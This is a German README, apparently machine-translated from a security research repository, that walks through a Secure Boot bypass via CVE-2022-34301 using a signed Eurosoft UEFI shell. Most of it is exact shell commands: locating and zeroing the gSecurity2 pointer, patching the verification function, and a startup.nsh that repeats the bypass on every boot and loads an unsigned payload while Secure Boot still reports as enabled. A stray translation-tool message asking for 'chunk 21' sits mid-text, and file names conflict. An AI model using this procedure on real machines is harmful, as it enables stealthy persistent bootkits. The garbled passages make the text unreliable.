themalwareguardian/cve-2022-34301Demonstriert die Umgehung von Secure Boot über CVE-2022-34301 mittels der von Eurosoft signierten UEFI-Shell (esdiags.efi), wobei der Befehl mm verwendet wird, um gSecurity2 zu nullifizieren und unsignierte UEFI-Anwendungen zu laden.
Eurosoft Pc-Check UEFI Diagnostics Shell - Bring Your Own Vulnerable UEFI Application (BYOVUA) - Secure Boot bypass via signierter UEFI Shell und gSecurity2-Korruption.
Dieses Repository demonstriert die BYOVUA (Bring Your Own Vulnerable UEFI Application)-Technik durch die Ausnutzung von CVE-2022-34301, einer Secure-Boot-Bypass-Schwachstelle in der Eurosoft Pc-Check UEFI-Diagnoseumgebung.
In diesem Fall ist die von Secure Boot vertraute Komponente esdiags.efi, eine UEFI Shell, die als Teil von Eurosofts Pc-Check UEFI-Hardware-Diagnoseprodukt vertrieben wird und von einer Zertifikatskette signiert ist, der Microsofts UEFI Third Party Certificate Authority vertraut. Nach der Ausführung stellt diese Shell den mm-Befehl (memory modify) bereit und bietet somit beliebige Speicher-Lese- und Schreibfähigkeiten während der Pre-OS-Boot-Phase.
Dieses Primitiv kann dann verwendet werden, um den gSecurity2-Global-Pointer im DXE-Kern zu lokalisieren und zu nullifizieren. Infolgedessen wird die nachfolgende UEFI-Image-Verifikation deaktiviert, wodurch unsignierte UEFI-Anwendungen, Bootkits, trotz aktiviertem Secure Boot geladen werden können.
BYOVUA ist das UEFI-Äquivalent zur BYOVD-Technik (Bring Your Own Vulnerable Driver), die auf Kernel-Ebene verwendet wird. Anstatt einen signierten Kernel-Treiber mit einer Schwachstelle mitzubringen, bringt der Angreifer eine signierte UEFI-Anwendung mit - in diesem Fall eine vollständige UEFI Shell -, die Funktionalität enthält, die Secure Boot untergraben kann.
Da die Anwendung mit einer Zertifikatskette signiert ist, der Secure Boot vertraut, wird sie ohne Fragen akzeptiert und ist somit auf jedem System vertrauenswürdig, das die Microsoft UEFI Third Party Certificate Authority in seiner Secure-Boot-Datenbank (db) enthält - was praktisch auf jedem UEFI-fähigen PC zutrifft, der im letzten Jahrzehnt ausgeliefert wurde. Einmal ausgeführt, bieten ihre integrierten Befehle dem Angreifer direkten Hardware- und Speicherzugriff, der vor dem Laden des Betriebssystems operiert, in einer Umgebung, in der moderne Sicherheitskontrollen (ASLR, DEP, Kernel-Schutzmechanismen) schlicht nicht existieren.
esdiags.efi ist eine UEFI Shell, die als Teil von Eurosofts Pc-Check UEFI vertrieben wird, einem Pre-Boot-Hardware-Diagnoseprodukt, das von PC-Herstellern, Serviceorganisationen und IT-Teams für Bare-Metal-Systemtests verwendet wird.
| Eigenschaft | Wert |
|---|
| Datei | EFI/Boot/Bootx64.efi (Microsoft) -> EFI/Boot/esdiags.efi (Shell) |
| Hersteller | Eurosoft (UK) Ltd |
| CVE | CVE-2022-34301 |
| Signierung | Microsoft Corporation UEFI CA 2011 (Third Party) |
| Entdeckung | Eclypsium (Mickey Shkatov, Jesse Michael) - August 2022 |
| Präsentation | DEF CON 30 - "One Bootloader to Load Them All" |
| Widerruf | Hinzugefügt zur DBX via Microsoft KB5012170 (August 2022) |
Die Schwachstelle ist kein Bug - sie ist ein Designfehler. UEFI Shells sind legitime Diagnosewerkzeuge, die niemals dafür gedacht waren, in Secure-Boot-Umgebungen ausgeführt zu werden. Indem die Hersteller sie jedoch mit einem von Microsoft vertrauten Zertifikat signierten und als Teil kommerzieller Produkte vertrieben, schufen sie unbeabsichtigt einen signierten Bypass für Secure Boot.
Das Kernproblem: Eine signierte Binärdatei, der Secure Boot vertraut, bietet uneingeschränkte Speicher-Lese-/Schreibfähigkeiten durch ihre integrierten Befehle. Diese Kombination bricht das gesamte Secure-Boot-Vertrauensmodell.
Der mm-Befehl (memory modify) ist ein standardmäßiger integrierter Befehl der UEFI Shell, der direkten Lese- und Schreibzugriff auf den Systemspeicher bietet. Er ist in der UEFI Shell Specification (Abschnitt 5.3) dokumentiert.```
MM Address [Value] [-w 1|2|4|8] [-MEM | -MMIO | -IO | -PCI | -PCIE] [-n]
| Parameter | Beschreibung |
|-----------|-------------|
| `Address` | Ziel-Speicheradresse |
| `Value` | Zu schreibender Wert (für Nur-Lesen weglassen) |
| `-w` | Breite: 1, 2, 4 oder 8 Bytes |
| `-MEM` | Systemspeicherzugriff |
| `-MMIO` | Speicherzugeordnete E/A |
| `-IO` | E/A-Port-Zugriff |
| `-n` | Nicht-interaktiv (keine Aufforderung für nächste Adresse) |
---
<div id='gsecurity2'/>
### ***gSecurity2 und das Security Architectural Protocol***
Die Secure-Boot-Image-Verifikation in UEFI wird durch die [Security Architectural Protocols](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols) erzwungen, die in der UEFI Platform Initialization (PI) Specification definiert sind.
Der DXE-Kern (DxeMain) verwaltet einen globalen Zeiger namens [`gSecurity2`](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252), der auf die Struktur `EFI_SECURITY2_ARCH_PROTOCOL` zeigt. Dieses Protokoll enthält einen einzigen Funktionszeiger - `FileAuthenticationState` - der von `LoadImage()` bei jedem Laden eines UEFI-Images aufgerufen wird:```c
// EFI_SECURITY2_ARCH_PROTOCOL structure (PI Specification)
typedef struct _EFI_SECURITY2_ARCH_PROTOCOL {
EFI_SECURITY_FILE_AUTHENTICATION_STATE FileAuthenticationState;
} EFI_SECURITY2_ARCH_PROTOCOL;
// GUID: 94AB2F58-1438-4EF1-9152-18941A3A0E68
Wenn LoadImage() aufgerufen wird, prüft der DXE-Core:```c
if (gSecurity2 != NULL)
{
Status = gSecurity2->FileAuthenticationState(gSecurity2, DevicePath, FileBuffer, FileSize, BootPolicy
);
if (EFI_ERROR(Status))
{
// Image rejected - signature verification failed
}
}
Durch das Setzen von `gSecurity2 = NULL` schlägt die `if`-Prüfung fehl und `FileAuthenticationState` wird nie aufgerufen. Die Image-Verifizierung wird vollständig übersprungen – **Secure Boot bleibt „aktiviert", wird aber nicht mehr durchgesetzt**. Unsigned UEFI-Anwendungen können dann frei geladen werden.
Für ein tiefes technisches Verständnis dieser Technik, einschließlich einer eigens entwickelten UEFI-Anwendung, die gSecurity2 automatisch lokalisiert und patcht, siehe das begleitende Projekt: [Exploitation Technique - UEFI Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption).
---
<div id='BYOVD'/>
### ***Parallele zum Kernel-BYOVD***
Die strukturelle Parallele zwischen UEFI BYOVUA und Kernel BYOVD ist exakt:```
┌──────────────────────────────────────────────────────────────┐
│ UEFI BYOVUA (Secure Boot Bypass) │
│ │
│ Signed Shell ─ mm ─> gSecurity2 = NULL ─> Load unsigned │
│ (trusted by (Security2 Protocol) UEFI apps │
│ Secure Boot) │
├──────────────────────────────────────────────────────────────┤
│ Kernel BYOVD (DSE Bypass) │
│ │
│ Signed Driver ─ IOCTL ─> g_CiOptions = 0 ─> Load unsigned │
│ (trusted by (CI.dll) kernel drivers │
│ DSE / CI) │
└──────────────────────────────────────────────────────────────┘
Beide Angriffe nutzen dieselbe grundlegende Schwachstelle aus: Eine signierte Komponente, der ein Sicherheitsmechanismus vertraut, liefert die Grundlage, die benötigt wird, um genau diesen Mechanismus zu deaktivieren.
Die signierte esdiags.efi wird auf der EFI-Systempartition (ESP) abgelegt und als Boot-Option konfiguriert. Da sie mit einer Zertifikatskette signiert ist, der Secure Boot vertraut, validiert und lädt die Firmware sie ohne Probleme.```
EFI System Partition (ESP)
└── EFI/
└── Boot/
└── Bootx64.efi (Microsoft) ← Signed by Microsoft Windows UEFI Driver Publisher
└── Bootxsa.efi (Shell) ← Signed by Eurosoft (UK) Ltd
---
<div id='Phase2'/>
### ***Phase 2 - Security2-Protokoll-Handles aufzählen***
Von der UEFI-Shell aus besteht das Ziel darin, das Handle zu finden, das das `EFI_SECURITY2_ARCH_PROTOCOL` (GUID: `94AB2F58-1438-4EF1-9152-18941A3A0E68`) bereitstellt, und die Speicheradresse seiner Protokollschnittstelle zu ermitteln.
> **Hinweis:** Der Befehl `dh -p <GUID>` löst in den meisten EDK2-Shell-Builds keine rohen GUIDs auf – er erkennt nur registrierte Protokollnamen. Der folgende Ansatz funktioniert mit jeder EDK2-Shell-Version.
**Schritt 1 – Das SecurityStubDxe-Handle finden**
Alle Handles auflisten und nach `SecurityStubDxe` suchen, dem DXE-Treiber, der beide Security Architectural Protocols installiert:```
Shell> dh
Identifizieren Sie in der Ausgabe das als SecurityStubDxe geladene Handle:```
10: Image(SecurityStubDxe)
**Schritt 2 – Benachbarte Handles untersuchen**
`SecurityStubDxe` installiert die Security-Protokolle auf einem separaten Handle, typischerweise dem unmittelbar darauffolgenden. Diese Handles erscheinen in der kurzen Auflistung leer, weil die Shell ihre GUIDs nicht auf benutzerfreundliche Namen abbilden kann. Untersuchen Sie sie mit dem ausführlichen Modus:```
Shell> dh -v 11
Erwartete Ausgabe:``` Handle 11 (3EFCEF18) A46423E3-4617-49F1-B9FF-D1BFA9115839 (3EE8C398) 94AB2F58-1438-4EF1-9152-18941A3A0E68 (3EE8C3A0)
Wenn Handle `0x11` diese GUIDs nicht enthält, versuche `0x12` - die genaue Handle-Nummer variiert zwischen Firmware-Builds.
**Schritt 3 - Die Interface-Adresse aufzeichnen**
Die beiden Protokolle und ihre Interface-Adressen sind:
| GUID | Protokoll | Interface-Adresse |
|------|----------|-------------------|
| `A46423E3-4617-49F1-B9FF-D1BFA9115839` | `EFI_SECURITY_ARCH_PROTOCOL` (Security1) | `0x3EE8C398` |
| `94AB2F58-1438-4EF1-9152-18941A3A0E68` | `EFI_SECURITY2_ARCH_PROTOCOL` (Security2) | `0x3EE8C3A0` |
Die **Security2-Interface-Adresse** (`0x3EE8C3A0` in diesem Beispiel) ist der Wert, der vom `gSecurity2`-Globalzeiger innerhalb von DxeMain gespeichert wird. Dieser Wert wird für Phase 3 benötigt.
---
<div id='Phase3'/>
### ***Phase 3 - gSecurity2 im Speicher lokalisieren***
Die Variable `gSecurity2` ist ein globaler Zeiger innerhalb des DXE-Kerns (`DxeMain`). Ihr Wert entspricht der in Phase 2 gefundenen Protokoll-Interface-Adresse. Das Ziel ist, die Speicheradresse zu finden, an der dieser Zeiger gespeichert ist - nicht der Wert des Zeigers, sondern die Variable selbst.
**Schritt 1 - Das Speicherlayout des DXE-Kerns ermitteln**```
Shell> dh -v 1
Ihre Anfrage ist unklar. Sie haben die Übersetzungsanweisungen und die Chunk-Metadaten angegeben, aber den eigentlichen zu übersetzenden Inhalt nicht mitgeliefert.
Bitte senden Sie den Markdown-Text von Chunk 21, den ich ins Deutsche übersetzen soll.``` Handle 01 (3F4ECB18) Image (3FEAFB08) File:DxeCore ImageBase.....: 3FE94000 - 3FEBB000 ImageSize.....: 27000
Record `ImageBase` (`0x3FE94000`).
**Schritt 2 – Die PE-Header parsen, um die `.data`-Sektion zu finden**
Die `.data`-Sektion enthält die initialisierten globalen Variablen, einschließlich `gSecurity2`. Anstatt das gesamte Image blind zu durchsuchen, parse die PE-Header, um die exakten `.data`-Grenzen zu finden.
Lies den MZ-Header, um den PE-Header-Offset zu erhalten (DWORD bei Offset `0x3C`):```
Shell> dmem <ImageBase> 100
In der Ausgabe schauen Sie sich den Offset 0x3C von ImageBase an. Wenn ImageBase beispielsweise 0x3FE94000 ist:```
3FE9403C: C0 00 00 00
Das bedeutet, dass die PE-Signatur bei Offset `0xC0` von `ImageBase` liegt.
**Schritt 3 – Lesen der Section-Tabelle**
Der Offset der Section-Tabelle wird wie folgt berechnet:```
section_table_offset = PE_offset + 4 (signature) + 20 (COFF header) + SizeOfOptionalHeader
Lies den COFF-Header, um SizeOfOptionalHeader zu erhalten (WORD bei PE_offset + 20):```
Shell> dmem <ImageBase + PE_offset> 20
Für ein PE32+ (x64) UEFI-Image ist `SizeOfOptionalHeader` typischerweise `0xF0`. In unserem Beispiel:```
section_table = 0x3FE94000 + 0xC0 + 4 + 20 + 0xF0 = 0x3FE941C8
Dump die Sektionstabelle (5 Sektionen × 40 Bytes = 200 Bytes):``` Shell> dmem 3FE941C8 140
Jeder Section-Eintrag ist 40 Bytes groß:
| Offset | Größe | Feld |
|--------|-------|------|
| 0 | 8 | Name (ASCII) |
| 8 | 4 | VirtualSize |
| 12 | 4 | VirtualAddress (RVA) |
Suchen Sie nach dem `.data`-Section-Eintrag. Beispielausgabe:```
3FE941F0: 2E 64 61 74 61 00 00 00 ← ".data"
3FE941F8: B0 9E 00 00 ← VirtualSize = 0x9EB0
3FE941FC: 60 AA 01 00 ← VirtualAddress (RVA) = 0x1AA60
Berechne die absoluten .data-Grenzen:```
data_start = ImageBase + VirtualAddress = 0x3FE94000 + 0x1AA60 = 0x3FEAEA60
data_end = data_start + VirtualSize = 0x3FEAEA60 + 0x9EB0 = 0x3FEB4910
**Schritt 4 – `.data` nach dem Interface-Zeiger durchsuchen**
Suchen Sie die Adresse des Security2-Interfaces in Little-Endian-Byte-Reihenfolge innerhalb des `.data`-Bereichs. Für eine Interface-Adresse von `0x3EE8C3A0` suchen Sie nach:```
A0 C3 E8 3E 00 00 00 00
In 0x200-Byte-Blöcken ab data_start scannen:```
Shell> dmem 3FEAEA60 200
Shell> dmem 3FEAEC60 200
Shell> dmem 3FEAEE60 200
...
Fahren Sie durch den `.data`-Bereich fort, bis Sie die Byte-Sequenz finden. Die Zeiger `gSecurity` (Security1) und `gSecurity2` (Security2) werden aufeinanderfolgend gespeichert, suchen Sie also nach beiden Werten nebeneinander:```
3FEB0C08: A0 C3 E8 3E 00 00 00 00 ← gSecurity2 = 0x3EE8C3A0
3FEB0C10: 98 C3 E8 3E 00 00 00 00 ← gSecurity = 0x3EE8C398
Tipp: Der Abschnitt
.dataenthält auch die EFI System Table-Strukturen (IBI SYST,DXE_SERV,BOOTSERV,RUNTSERV). Die Sicherheitszeiger befinden sich typischerweise nach diesen Strukturen. Wenn Sie diese Signaturen beim Scannen entdecken, machen Sie weiter - Sie sind nah dran.
Schritt 5 - Bestätigen Sie die Adresse
Überprüfen Sie dies, indem Sie die genaue Position lesen:``` Shell> dmem 3FEB0C08 10
Erwartete Ausgabe:```
3FEB0C08: A0 C3 E8 3E 00 00 00 00-98 C3 E8 3E 00 00 00 00
Die Adresse 0x3FEB0C08 ist der Speicherort von gSecurity2 - dies ist das Ziel für Phase 4.
Sobald die Adresse der Variable gSecurity2 bekannt ist, deaktiviert ein einzelner mm-Befehl die Secure-Boot-Verifikation:```
Shell> mm <gSecurity2_address> 0 -w 8 -MEM
> **Hinweis:** Der Befehl `mm` akzeptiert möglicherweise nicht das Präfix `0x` beim Adressargument. Verwenden Sie die rohe hexadezimale Adresse direkt.
Beispiel:```
Shell> mm 3FEB0C08 0 -w 8 -MEM
Dies schreibt 8 Bytes Nullen an den gSecurity2-Zeiger. Der DXE-Kern wird nun alle Bildüberprüfungsprüfungen in LoadImage() überspringen.
Um den Patch zu überprüfen:``` Shell> dmem <gSecurity2_address> 10
Die ersten 8 Bytes sollten `00 00 00 00 00 00 00 00` lauten:```
3FEB0C08: 00 00 00 00 00 00 00 00-98 C3 E8 3E 00 00 00 00
Beachten Sie, dass gSecurity (Security1, zweites Qword) intakt bleibt – nur Security2 wird genullt, was ausreicht, um die LoadImage()-Verifizierung zu umgehen.
Mit genulltem gSecurity2 kann jede UEFI-Anwendung geladen werden, unabhängig von ihrem Signaturstatus:```
Shell> fs1:
fs1:> MyUnsignedApp.efi
Oder `load` für Treiber verwenden:```
Shell> load fs1:\MyUnsignedDriver.efi
Das Betriebssystem wurde noch nicht gestartet. Jede zu diesem Zeitpunkt geladene UEFI-Anwendung läuft mit vollem Hardwarezugriff, bevor irgendwelche Sicherheitskontrollen auf Betriebssystemebene initialisiert werden.
Die UEFI-Shell führt bei jedem Start automatisch startup.nsh aus dem aktuellen Verzeichnis oder dem ESP-Stammverzeichnis aus. Durch die Kodierung des mm-Patches in diesem Skript wird die Secure-Boot-Umgehung bei jedem Start automatisch ausgeführt:```nsh
mm <gSecurity2_address> 0 -w 8 -MEM
load fs1:\payload.efi
Beispiel:```nsh
mm 3FEB0C08 0 -w 8 -MEM
load fs1:\payload.efi
Das System meldet Secure Boot weiterhin als „enabled“ – nur die Laufzeitdurchsetzung ist deaktiviert. Dadurch bleibt der Angriff für Secure-Boot-Statusabfragen auf Betriebssystemebene unsichtbar.
Wichtig: Die Adresse
gSecurity2(0x3FEB0C08in diesem Beispiel) ist spezifisch für den Firmware-Build. Wenn die Firmware aktualisiert oder neu kompiliert wird, muss die Adresse durch Wiederholung der Phasen 2 und 3 neu berechnet werden.
Das Auffinden der Adresse gSecurity2 ist firmwarespezifisch und muss bei jeder Aktualisierung oder Neukompilierung der Firmware wiederholt werden. Der übergeordnete Ablauf ist:```
Step 1 Step 2 Step 3
┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ dh │──> │ dh -v │──> │ dh -v 1 │
│ │ │ │ │ │
│ Find │ │ Inspect adjacent │ │ Get DxeMain │
│ SecurityStubDxe │ │ handle for │ │ ImageBase and │
│ handle number │ │ Security2 GUID and │ │ ImageSize │
│ │ │ Interface address │ │ │
└─────────────────────┘ └──────────────────────┘ └──────────────────────┘
│
v
Step 6 Step 5 Step 4
┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ Verify: │ <──│ Nullify: │ <──│ Parse PE headers, │
│ dmem 10 │ │ mm 0 -w 8 │ │ find .data section, │
│ │ │ -MEM │ │ scan for Interface │
│ First 8 bytes │ │ │ │ address bytes in │
│ = 0x0000000000000000│ │ Secure Boot bypass │ │ little-endian │
│ │ │ active │ │ │
└─────────────────────┘ └──────────────────────┘ └──────────────────────┘
---
---
---
<div id='Exploit'/>
## ***Exploit***
Es werden zwei Ansätze bereitgestellt:
**Ansatz A – Patch FileAuthenticationState:** Überschreibt die ersten 4 Bytes der Verifikationsfunktion mit `xor rax, rax; ret` (`48 31 C0 C3`), wodurch sie EFI_SUCCESS zurückgibt, ohne eine Prüfung durchzuführen. Dieser Ansatz verwendet die Befehle `dh`, `dmem` und `mm`, um den Funktionszeiger über die Security2-Protokollschnittstelle aufzulösen, und erfordert keine Suche im DxeMain-Speicher.
**Ansatz B – Nullify gSecurity2 pointer:** Lokalisiert die globale Variable gSecurity2 im `.data`-Abschnitt von DxeMain und schreibt NULL hinein. Dies ist die Technik, die von Eclypsium in der BombShell-Offenlegung beschrieben und programmatisch im Repository [gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption) implementiert wurde. Dieser Ansatz erfordert das Parsen der PE-Header von DxeMain, um die Grenzen des `.data`-Abschnitts zu finden, und anschließend das manuelle Scannen des Speichers mit `dmem`, um die Zeigeradresse zu lokalisieren.
Beide Skripte sind so konzipiert, dass sie Schritt für Schritt befolgt werden, wobei jeder Befehl erklärt wird. Führen Sie sie zunächst interaktiv aus, und sobald die korrekten Adressen für die Ziel-Firmware bekannt sind, erstellen Sie eine `startup.nsh` für die automatisierte Ausführung bei jedem Start.
---
---
---
<div id='LabSetup'/>
## ***Lab Setup***
### DBX (Forbidden Signature Database)
Die signierte Shell wurde über KB5012170 (August 2022) zur DBX-Widerrufsliste von Microsoft hinzugefügt. Auf aktualisierten Systemen wird die Shell von Secure Boot abgelehnt.
Für die Laborumgebung benötigen Sie ein System, bei dem:
- Die DBX nicht mit dem Widerrufseintrag für diese spezifische Shell aktualisiert wurde
- Oder die DBX leer ist (frische VM mit Standard-Secure-Boot-Schlüsseln)
- Oder Sie eine QEMU/OVMF-Umgebung mit benutzerdefinierter Secure-Boot-Schlüsselregistrierung verwenden
Die [QEMU UEFI Research Environment](https://github.com/TheMalwareGuardian/QEMU-UEFI-Research-Environment) bietet eine automatisierte Einrichtung dafür.
### Alternative: Jede signierte UEFI-Shell mit mm-Befehl
Die Technik ist nicht spezifisch für `esdiags.efi`. Jede UEFI-Shell, die den Befehl `mm` bereitstellt und mit einem vertrauenswürdigen Zertifikat (Microsoft CA oder OEM-spezifisch) signiert ist, kann verwendet werden. Wie in der [BombShell](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/)-Forschung von Eclypsium (Oktober 2025) dokumentiert, wurden signierte UEFI-Shells mit gefährlichen Fähigkeiten in Produkten mehrerer Hersteller gefunden, darunter Framework-Laptops (betrifft etwa 200.000 Geräte).
---
---
---
<div id='References'/>
## ***References***
### Directly Related
- [Awesome Bring Your Own Vulnerable UEFI Application](https://github.com/TheMalwareGuardian/Awesome-Bring-Your-Own-Vulnerable-UEFI-Application) – Kuratierte Sammlung bekannter verwundbarer signierter UEFI-Anwendungen
- [Exploitation Technique - Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption) – Tiefgehende technische Analyse der gSecurity2-Korruptionstechnik, einschließlich einer speziell entwickelten UEFI-Anwendung, die den Zeiger automatisch lokalisiert und patcht
### Eclypsium Research
- [SignedUEFIShell](https://github.com/HackingThings/SignedUEFIShell) – Forschung zur Verwendung signierter UEFI-Shells für Speichermanipulation mit .nsh-Skripting
- [One Bootloader to Load Them All](https://eclypsium.com/research/one-bootloader-to-load-them-all/) – Ursprüngliche Eclypsium-Forschung, die CVE-2022-34301, CVE-2022-34302, CVE-2022-34303 offenlegt
- [DEF CON 30 - One Bootloader to Load Them All](https://www.youtube.com/watch?v=99t7wEYs8h0) – Präsentation von Mickey Shkatov und Jesse Michael
- [BombShell: The Signed Backdoor Hiding in Plain Sight](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) – Forschung vom Oktober 2025, die den mm-Befehl-gSecurity2-Angriff auf Framework-Laptops demonstriert (200k betroffene Geräte)
### UEFI Specifications
- [UEFI Shell Specification 2.2](https://uefi.org/sites/default/files/resources/UEFI_Shell_2_2.pdf) – Dokumentation für die Befehle mm und dh
- [EDK2 - gSecurity2 declaration (DxeMain.h)](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252) – Quellcode-Referenz für den globalen Zeiger gSecurity2
- [UEFI PI Specification - Security Architectural Protocols](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols) – Offizielle Definition des Security2 Architectural Protocol
### Advisories
- [CERT/CC - VU#309662](https://kb.cert.org/vuls/id/309662)
- [NVD - CVE-2022-34301](https://nvd.nist.gov/vuln/detail/CVE-2022-34301)
### Bootloader Catalog
- [Bootloaders.io - esdiags.efi](https://www.bootloaders.io/bootloaders/aa02b41c-fdba-4a15-8cd0-721c8ce19b68/) – YARA-Regeln, Sigma-Erkennungen und Beispiel-Hashes für die widerrufene Eurosoft-Shell